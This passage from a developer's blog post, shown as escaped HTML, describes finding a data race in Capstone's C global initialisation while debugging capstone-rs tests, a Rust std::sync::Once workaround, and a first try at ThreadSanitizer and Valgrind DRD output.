&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&quot;&gt;capstone-rs&lt;&#x2F;a&gt; does not spawn threads.&lt;&#x2F;p&gt;
&lt;p&gt;Then, I decided to look over the Capstone C source code.
Capstone was not spawning threads, either.&lt;&#x2F;p&gt;
&lt;p&gt;I realized that the &lt;code&gt;cargo test&lt;&#x2F;code&gt; harness spawns multiple threads (to parallelize tests).
But how could threads access the same memory location?&lt;&#x2F;p&gt;
&lt;p&gt;The only way left to share memory was through global variables.
My brother-in-law and I searched the Capstone C code for global variable writes.&lt;&#x2F;p&gt;
&lt;p&gt;We saw that four separate functions called the &lt;code&gt;archs_enable()&lt;&#x2F;code&gt; function.
For example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;cs_err CAPSTONE_API &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;cs_open&lt;&#x2F;span&gt;&lt;span&gt;(cs_arch &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;arch&lt;&#x2F;span&gt;&lt;span&gt;, cs_mode &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mode&lt;&#x2F;span&gt;&lt;span&gt;, csh *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;handle&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Do some checks *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;archs_enable&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* ... *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We looked at the body of &lt;code&gt;archs_enable()&lt;&#x2F;code&gt;.
The &lt;code&gt;static&lt;&#x2F;code&gt; variable &lt;code&gt;initialized&lt;&#x2F;code&gt; is essentially a global variable (but only &quot;visible&quot; from within the &lt;code&gt;archs_enable()&lt;&#x2F;code&gt; function).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;static void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;archs_enable&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* &amp;quot;static&amp;quot; makes this a global variable *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;static bool&lt;&#x2F;span&gt;&lt;span&gt; initialized = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(initialized)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ARM_enable&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Initialize other architectures *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    initialized = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For each architecture, &lt;code&gt;archs_enable()&lt;&#x2F;code&gt; calls a &lt;code&gt;*_enable()&lt;&#x2F;code&gt; enable function.
We peered inside &lt;code&gt;ARM_enable()&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;ARM_enable&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    cs_arch_init[CS_ARCH_ARM] = init;
&lt;&#x2F;span&gt;&lt;span&gt;    cs_arch_option[CS_ARCH_ARM] = option;
&lt;&#x2F;span&gt;&lt;span&gt;    cs_arch_destroy[CS_ARCH_ARM] = destroy;
&lt;&#x2F;span&gt;&lt;span&gt;    cs_arch_disallowed_mode_mask[CS_ARCH_ARM] = ~(CS_MODE_LITTLE_ENDIAN |
&lt;&#x2F;span&gt;&lt;span&gt;        CS_MODE_ARM | CS_MODE_V8 | CS_MODE_MCLASS | CS_MODE_THUMB |
&lt;&#x2F;span&gt;&lt;span&gt;        CS_MODE_BIG_ENDIAN);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; support this arch
&lt;&#x2F;span&gt;&lt;span&gt;    all_arch |= (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&amp;lt; CS_ARCH_ARM);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The arrays &lt;code&gt;cs_arch_init&lt;&#x2F;code&gt;, &lt;code&gt;cs_arch_option&lt;&#x2F;code&gt;, &lt;code&gt;cs_arch_destroy&lt;&#x2F;code&gt;, and &lt;code&gt;cs_arch_disallowed_mode_mask&lt;&#x2F;code&gt; are global!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(initialized)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Initialize global arrays *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;initialized = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;initialzed&lt;&#x2F;code&gt; global variable was read and modified without a lock!
This was a potential data race.
Safe Rust code guarantees the absence of data races, &lt;em&gt;but the C language makes no such guarantee&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If multiple threads entered &lt;code&gt;archs_enabled()&lt;&#x2F;code&gt; simultaneously, &lt;code&gt;initialized&lt;&#x2F;code&gt; would be &lt;code&gt;false&lt;&#x2F;code&gt;.
Each thread would attempt to initialize the global variables simultaneously.
Afterward, each thread would set &lt;code&gt;initialzed&lt;&#x2F;code&gt; to false.&lt;&#x2F;p&gt;
&lt;p&gt;Since each thread would be attempting to initialize the arrays with the same values (they are constant),
you may be tempted to think that this construction is safe.
However, due to complications such as &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Out-of-order_execution&quot;&gt;out of order execution&lt;&#x2F;a&gt;,
a &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Memory_barrier&quot;&gt;memory barrier&lt;&#x2F;a&gt; is also required.
Otherwise, some CPU cores could &quot;see&quot; that &lt;code&gt;initialized&lt;&#x2F;code&gt; is true but not yet &quot;see&quot; that global arrays are initialized the correct values.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;:
I have since eliminated the upstream data race with a &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;aquynh&#x2F;capstone&#x2F;pull&#x2F;1171&quot;&gt;pull-request&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fix-attempt-1&quot;&gt;Fix Attempt 1&lt;a class=&quot;zola-anchor&quot; href=&quot;#fix-attempt-1&quot; aria-label=&quot;Anchor link for: fix-attempt-1&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;I first tried to work around this bug from within the Rust code.&lt;&#x2F;p&gt;
&lt;p&gt;My brother-in-law and I investigated the primitives in the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;&quot;&gt;&lt;code&gt;std::sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; module that could help.
We wanted a primitive that would guarantee that initialization of the global variables would happen exactly once.&lt;&#x2F;p&gt;
&lt;p&gt;To quote the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;struct.Once.html&quot;&gt;&lt;code&gt;std::sync::Once&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; documentation:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;A synchronization primitive which can be used to run a one-time global initialization.
Useful for one-time initialization for FFI or related functionality.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This fit our use case perfectly!&lt;&#x2F;p&gt;
&lt;p&gt;However, because &lt;code&gt;archs_enable()&lt;&#x2F;code&gt; was declared as &lt;code&gt;static&lt;&#x2F;code&gt;, the symbol is not &quot;visible&quot; to consumers of library (such as capstone-sys or capstone-rs).
&lt;code&gt;static&lt;&#x2F;code&gt; declarations in C are similar to non-&lt;code&gt;pub&lt;&#x2F;code&gt; declarations in Rust.&lt;&#x2F;p&gt;
&lt;p&gt;In order to work around this issue, we called &lt;code&gt;cs_version()&lt;&#x2F;code&gt; (which calls &lt;code&gt;archs_enable()&lt;&#x2F;code&gt;).
Of the exported Capstone functions that called &lt;code&gt;archs_enable()&lt;&#x2F;code&gt;, &lt;code&gt;cs_version()&lt;&#x2F;code&gt; seemed to have the least overhead.&lt;&#x2F;p&gt;
&lt;p&gt;We defined a Rust function &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; that peforms the initialization.
Since the &lt;code&gt;cs_version()&lt;&#x2F;code&gt; is a C function, we had to use an &lt;code&gt;unsafe&lt;&#x2F;code&gt; block to call the function.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;static &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;INIT&lt;&#x2F;span&gt;&lt;span&gt;: Once = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;ONCE_INIT&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;init_global_state&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;INIT&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;call_once&lt;&#x2F;span&gt;&lt;span&gt;(|| {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; a = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let mut&lt;&#x2F;span&gt;&lt;span&gt; b = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;unsafe &lt;&#x2F;span&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;cs_version&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; a, &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; b) };
&lt;&#x2F;span&gt;&lt;span&gt;    });
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next, we needed to call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; before calling a C Capstone function.
That way, we would initialized globals in &lt;code&gt;archs_enable()&lt;&#x2F;code&gt; initialization in a thread-safe way.&lt;&#x2F;p&gt;
&lt;p&gt;In the first pass with my brother-in-law, we inserted calls to &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; at the beginning of any Rust function that called a Capstone C function.
The initial work resulted in a work-in-progress &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&#x2F;pull&#x2F;28&quot;&gt;pull-request&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fine-tuning-global-initialization&quot;&gt;Fine-tuning global initialization&lt;a class=&quot;zola-anchor&quot; href=&quot;#fine-tuning-global-initialization&quot; aria-label=&quot;Anchor link for: fine-tuning-global-initialization&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I knew that the global initialization we used was sub-optimal.
While it would be safe to add extra synchronization, we would cause unnecessary slowdown in the capstone-rs Rust library.
I decided to reason about the problem.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Requirement&lt;&#x2F;strong&gt;:
Before the first call to a C function that writes to the global arrays, we must call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; to initialize safely.&lt;&#x2F;p&gt;
&lt;p&gt;I realized that you can partition Rust functions into two groups:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;impl methods&lt;&#x2F;strong&gt;:
functions that are in an &lt;code&gt;impl&lt;&#x2F;code&gt; block AND take a &lt;code&gt;self&lt;&#x2F;code&gt; parameter.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;bare functions&lt;&#x2F;strong&gt;:
all other functions.
These functions are either:
&lt;ul&gt;
&lt;li&gt;in an &lt;code&gt;impl&lt;&#x2F;code&gt; block but do &lt;strong&gt;not&lt;&#x2F;strong&gt; take a &lt;code&gt;self&lt;&#x2F;code&gt; parameter&lt;&#x2F;li&gt;
&lt;li&gt;outside of an &lt;code&gt;impl&lt;&#x2F;code&gt; block&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If we call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; when we construct a new instance of a type (&lt;code&gt;struct&lt;&#x2F;code&gt; or &lt;code&gt;enum&lt;&#x2F;code&gt;),
then we do not need to call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; in any of the impl methods of that type.&lt;&#x2F;p&gt;
&lt;p&gt;For example, if we call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; when we create a &lt;code&gt;Capstone&lt;&#x2F;code&gt; instance,
then we do not need to call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt; in &lt;code&gt;Capstone::disasm_all()&lt;&#x2F;code&gt; (which takes a &lt;code&gt;self&lt;&#x2F;code&gt; parameter).&lt;&#x2F;p&gt;
&lt;p&gt;For these example, assume that &lt;code&gt;MyType&lt;&#x2F;code&gt; is a &lt;code&gt;struct&lt;&#x2F;code&gt; with private fields:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Library users cannot instantiate the type &quot;manually&quot; by writing:&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Not allowed since MyType has private fields *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; myvar = MyType { &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* ... *&#x2F; &lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Let&#x27;s name any function that returns an instance of a type a &quot;constructor&quot;. For example:&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;impl &lt;&#x2F;span&gt;&lt;span&gt;MyType {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;() -&amp;gt; MyType { &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* ... *&#x2F; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Then, as long as all constructors call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt;, then impl methods do not need to call &lt;code&gt;init_global_state()&lt;&#x2F;code&gt;.
Any time an impl method would be called, a &lt;code&gt;self&lt;&#x2F;code&gt; parameter is required (by definition of impl method).
This &lt;code&gt;self&lt;&#x2F;code&gt; instance would have been created by a constructor that already called &lt;code&gt;init_global_state()&lt;&#x2F;code&gt;.&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;impl &lt;&#x2F;span&gt;&lt;span&gt;MyType {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;my_method&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* The self parameter should have been created by a constructor *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* (that should have initialized the globals) *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I formalized these claims in a &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&#x2F;blob&#x2F;b8d7a241adf95cbd9f45293fb5074d43e7a09ddf&#x2F;src&#x2F;capstone.rs#L101-L111&quot;&gt;comment&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; Initialize global Capstone state in C library
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; # CLAIMS
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; 1. Any function *F* (including methods) that calls a `capstone-sys` function *G* where *G*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;    potentially mutates global state must ensure `init_global_state()` is called first.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; 2. Let *T* be a `struct`&#x2F;`enum` with at least one non-public field and methods *M* defined. If
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;    all constructors *C* (functions that return type *C*) for *T* call `init_global_state()`,
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;    then methods *M* that take a `self` parameter do not need to call `init_global_state()`.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;    Any `self` instance should have been been created by a constructor *C* that already called
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;    `init_global_state()` because *T* has non-public fields. Hence, consumers of the library
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F;    cannot construct a *T* manually.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using this reasoning, I was able to remove several calls to &lt;code&gt;init_global_state()&lt;&#x2F;code&gt;, elminating unnecessary synchronization.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fix-status&quot;&gt;Fix status&lt;a class=&quot;zola-anchor&quot; href=&quot;#fix-status&quot; aria-label=&quot;Anchor link for: fix-status&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;After adding the thread-safe initialization code, &lt;code&gt;cargo test&lt;&#x2F;code&gt; would still fail sometimes!&lt;&#x2F;p&gt;
&lt;p&gt;I needed to keep looking...&lt;&#x2F;p&gt;
&lt;h1 id=&quot;first-attempt-at-using-tools&quot;&gt;First attempt at using tools&lt;a class=&quot;zola-anchor&quot; href=&quot;#first-attempt-at-using-tools&quot; aria-label=&quot;Anchor link for: first-attempt-at-using-tools&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;My first attempt at using tools to help find the bug was not successful.
Since I thought my bug was a threading issue, I tried Clang&#x27;s &lt;a href=&quot;https:&#x2F;&#x2F;clang.llvm.org&#x2F;docs&#x2F;ThreadSanitizer.html&quot;&gt;ThreadSanitizer&lt;&#x2F;a&gt;
feature and Valgrind&#x27;s &lt;a href=&quot;http:&#x2F;&#x2F;valgrind.org&#x2F;docs&#x2F;manual&#x2F;hg-manual.html&quot;&gt;Helgrind&lt;&#x2F;a&gt;
and &lt;a href=&quot;http:&#x2F;&#x2F;valgrind.org&#x2F;docs&#x2F;manual&#x2F;drd-manual.html&quot;&gt;DRD&lt;&#x2F;a&gt; plugins.
Each of the tools only reported false positives.&lt;&#x2F;p&gt;
&lt;p&gt;For example, DRD had output:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;==14815== Conflicting load by thread 1 at 0x0661782c size 2
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    at 0x4C46A1F: memmove (in &#x2F;usr&#x2F;lib&#x2F;valgrind&#x2F;vgpreload_drd-amd64-linux.so)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D756F: copy_from_slice&amp;lt;u8&amp;gt; (mod.rs:712)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D756F: copy_from_slice&amp;lt;u8&amp;gt; (slice.rs:1693)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D756F: spec_extend&amp;lt;u8&amp;gt; (vec.rs:1886)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D756F: extend_from_slice&amp;lt;u8&amp;gt; (vec.rs:1369)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D756F: write (impls.rs:263)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D756F: &amp;lt;std::io::buffered::BufWriter&amp;lt;W&amp;gt; as std::io::Write&amp;gt;::write (buffered.rs:583)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D77C4: &amp;lt;std::io::buffered::LineWriter&amp;lt;W&amp;gt; as std::io::Write&amp;gt;::write (buffered.rs:895)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D9EBE: write (stdio.rs:465)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x2D9EBE: &amp;lt;std::io::stdio::Stdout as std::io::Write&amp;gt;::write (stdio.rs:450)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x21127D: &amp;lt;term::terminfo::TerminfoTerminal&amp;lt;T&amp;gt; as std::io::Write&amp;gt;::write (mod.rs:271)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1E3AE4: write&amp;lt;Terminal&amp;gt; (impls.rs:118)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1E3AE4: write&amp;lt;std::io::stdio::Stdout&amp;gt; (lib.rs:655)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1E3AE4: std::io::Write::write_all (mod.rs:1098)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1F1E5A: write_plain&amp;lt;std::io::stdio::Stdout,&amp;amp;alloc::string::String&amp;gt; (pretty.rs:93)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1F1E5A: &amp;lt;test::formatters::pretty::PrettyFormatter&amp;lt;T&amp;gt;&amp;gt;::write_test_name (pretty.rs:151)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1F217E: &amp;lt;test::formatters::pretty::PrettyFormatter&amp;lt;T&amp;gt; as test::formatters::OutputFormatter&amp;gt;::write_result (pretty.rs:177)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1EC321: callback (lib.rs:856)
